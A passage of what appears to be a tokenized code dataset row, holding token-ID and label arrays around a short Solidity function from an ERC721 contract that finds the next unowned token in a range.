26,
7142,
5292,
2163,
7598,
5718,
361,
7950,
11035,
5718,
71,
29,
10241,
70,
28,
5193,
71,
31,
203,
203,
565,
1758,
1071,
3849,
3981,
31,
203,
565,
1758,
1071,
3849,
9787,
345,
22498,
31,
203,
203,
203,
7173,
628,
6629,
776,
21,
203,
17,
445,
4343,
381,
353,
3526,
358,
1342,
1131,
16,
943,
4540,
203,
203,
565,
3885,
12,
2867,
389,
27427,
345,
22498,
13,
1071,
288,
203,
3639,
2583,
24899,
27427,
345,
22498,
480,
1758,
12,
20,
3631,
315,
27427,
345,
22498,
273,
3634,
1758,
8863,
203,
203,
3639,
3981,
273,
1234,
18,
15330,
31,
203,
3639,
9787,
345,
22498,
273,
389,
27427,
345,
22498,
31,
203,
203,
3639,
389,
16243,
2996,
12,
15468,
67,
16256,
16,
3981,
1769,
203,
3639,
389,
16243,
2996,
12,
44,
985,
3412,
22857,
67,
16256,
2
] |
./full_match/1/0xA5A823294AF53B983969BB48cAA3cDb28545828F/sources/contracts/Tokens/RAIR721_Contract.sol | @notice Loops through a range of tokens and returns the first token without an owner @dev Loops are expensive in solidity, do not use this in a gas-consuming function @param startingToken Starting token for the search @param endingToken Ending token for the search | function _getNextSequentialIndexInRange(
uint startingToken,
uint endingToken
) internal view returns (uint nextIndex) {
for (nextIndex = startingToken; nextIndex <= endingToken; nextIndex++) {
if (!_exists(nextIndex)) {
break;
}
}
require(
startingToken <= nextIndex && nextIndex <= endingToken,
"RAIR ERC721: There are no available tokens in this range."
);
}
| 3,159,713 | [
1,
31409,
3059,
279,
1048,
434,
2430,
471,
1135,
326,
1122,
1147,
2887,
392,
3410,
21114,
202,
31409,
854,
19326,
316,
18035,
560,
16,
741,
486,
999,
333,
316,
279,
16189,
17,
17664,
310,
445,
21114,
202,
18526,
1345,
225,
202,
11715,
1147,
364,
326,
1623,
21114,
202,
2846,
1345,
225,
202,
25674,
1147,
364,
326,
1623,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
389,
588,
2134,
28241,
1016,
25277,
12,
203,
3639,
2254,
5023,
1345,
16,
203,
3639,
2254,
11463,
1345,
203,
565,
262,
2713,
1476,
1135,
261,
11890,
22262,
13,
288,
203,
3639,
364,
261,
4285,
1016,
273,
5023,
1345,
31,
22262,
1648,
11463,
1345,
31,
22262,
27245,
288,
203,
5411,
309,
16051,
67,
1808,
12,
4285,
1016,
3719,
288,
203,
7734,
898,
31,
203,
5411,
289,
203,
3639,
289,
203,
3639,
2583,
12,
203,
5411,
5023,
1345,
1648,
22262,
597,
22262,
1648,
11463,
1345,
16,
203,
5411,
315,
2849,
7937,
4232,
39,
27,
5340,
30,
6149,
854,
1158,
2319,
2430,
316,
333,
1048,
1199,
203,
3639,
11272,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
Subsets and Splits